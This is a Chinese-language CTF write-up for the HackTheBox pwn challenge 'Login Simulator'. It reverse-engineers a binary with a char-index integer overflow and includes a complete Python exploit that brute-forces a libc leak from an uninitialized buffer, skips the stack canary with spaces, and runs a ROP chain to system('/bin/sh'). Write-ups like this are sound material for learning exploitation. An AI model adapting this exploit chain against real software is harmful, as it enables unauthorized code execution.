selph
selph
Published on 2025-01-01 / 14 Visits
0
0

[HTB] Login Simulator

题目情况

Such an innocent binary, what could possibly go wrong?

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc'
    Stripped:   No

逆向分析

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-A9h]
  int n3; // [rsp+8h] [rbp-A8h] BYREF
  int size; // [rsp+Ch] [rbp-A4h]
  _BYTE entry[152]; // [rsp+10h] [rbp-A0h] BYREF
  unsigned __int64 v8; // [rsp+A8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v4 = 0;
  setup();
  banner();
  while ( 1 )
  {
    menu();
    if ( (int)__isoc99_scanf("%d", &n3) < 0 )
    {
      puts("Something went wrong.\n");
      return 1;
    }
    if ( n3 == 3 )
      return 0;
    if ( n3 > 3 )
      break;
    if ( n3 == 1 )
    {
      size = register(entry);                 
      if ( size < 0 )
        return 1;
      v4 = 1;
    }
    else
    {
      if ( n3 != 2 )
        break;
      if ( v4 != 1 )
      {
        puts("You need to register first.");
      }
      else if ( login(entry, size) )
      {
        puts("Good job! :^)");
      }
      else
      {
        puts("Invalid username! :)");
      }
    }
  }
  puts("Invalid option.\n");
  return 1;
}

1和2,2个选项,分别调用register和login函数

register函数返回size,供login函数使用:

__int64 __fastcall register(char *entry_)
{
  int size; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("{i} Username length: ");
  if ( (int)__isoc99_scanf("%d", &size) >= 0 )
  {
    if ( size > 0 && size <= 128 )
    {
      printf("{i} Enter username: ");
      getInput(entry_, size);
      puts("Username registered successfully!");
      return (unsigned int)size;
    }
    else
    {
      puts("Invalid length.");
      return '\xFF\xFF\xFF\xFF';
    }
  }
  else
  {
    puts("Something went wrong!");
    return 0xFFFFFFFFLL;
  }
}

size是自己输入的最大输入128

调用getInput获取输入:

unsigned __int64 __fastcall getInput(_BYTE *entry_, int sz)
{
  char buf; // [rsp+16h] [rbp-Ah] BYREF
  char i; // [rsp+17h] [rbp-9h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; sz > i && (int)read(0, &buf, 1uLL) > 0; ++i )
  {
    if ( buf != ' ' )
    {
      if ( buf == '\n' )
        return v5 - __readfsqword(0x28u);
      entry_[i] = buf;
    }
  }
  return v5 - __readfsqword(0x28u);
}

此处的索引i​是char类型,一次读取一个字节,索引不超过size就继续读取

通过数组+索引的形式保存到缓冲区

如果输入是空格,就跳过该索引,不写入数据,索引依然会+1

login函数:

int __fastcall login(char *entry, int size)
{
  char s1[152]; // [rsp+10h] [rbp-A0h] BYREF
  unsigned __int64 v4; // [rsp+A8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("{i} Username: ");
  getInput(s1, size);
  return strncmp(s1, entry, size) == 0;
}

这里使用login的缓冲区来读取输入

利用分析

在getInput里的判断:

  for ( i = 0; sz > i && (int)read(0, &buf, 1uLL) > 0; ++i )

这里的sz是int类型,这里的i是char类型

当sz的值为128的时候,i始终无法自增到128,从而导致溢出

对于char类型,127+1 = -128

保存的时候,数组索引就会变成负数entry_[i] = buf;​

缓冲区原本位于login函数,反向溢出覆盖getInput函数的返回地址

对于canary问题,通过空格就可以不覆盖直接跳过

对于地址泄露问题,因为register使用的缓冲区是未初始化的缓冲区,里头存在遗留的libc地址,通过设置register的size,以及利用login的判断,就可以进行爆破获取,类似爆破canary的流程

例如这里的libc地址位于偏移0x70处,那我就设置size为0x71,输入0x70个A,登录的时候输入0x70个A加上一个字符进行爆破

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc


# bruce force the libc leak
addr  = b""
for i in range(8):
    # register
    sla(b"-> ",b"1")
    sla(b": ",str(0x71+i).encode())
    sla(b": ",b"a"*(0x70) + addr)

    for c in range(256):
        # login
        payload = b"a"*0x70 + addr + p8(c)
        sla(b"-> ",b"2")
        sla(b": ",payload)
        res = rl()
        if b"Good" in res:
            addr += p8(c)
            success(addr)
            break
        else:
            continue

addr = u64(addr)
log_address("libc leak",addr)
libc.address = addr -0x1f0fc8
log_address("libc base",libc.address)

# ROP
# register
sla(b"-> ",b"1")
sla(b": ",str(128).encode())
sla(b": ",cyclic(128))

# login
payload =b"a"*0x80+ b" "*0x68   # bypass the canary
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
payload += rop.chain()

#payload = b"a"*0xa8 + pack(0xdeadbeef)
sla(b"-> ",b"2")
sla(b": ",payload)

ia()

总结

利用整数溢出问题完成反向栈溢出,利用未初始化缓冲区爆破地址泄露,都是些不寻常的玩法,真有意思

参考资料


Comment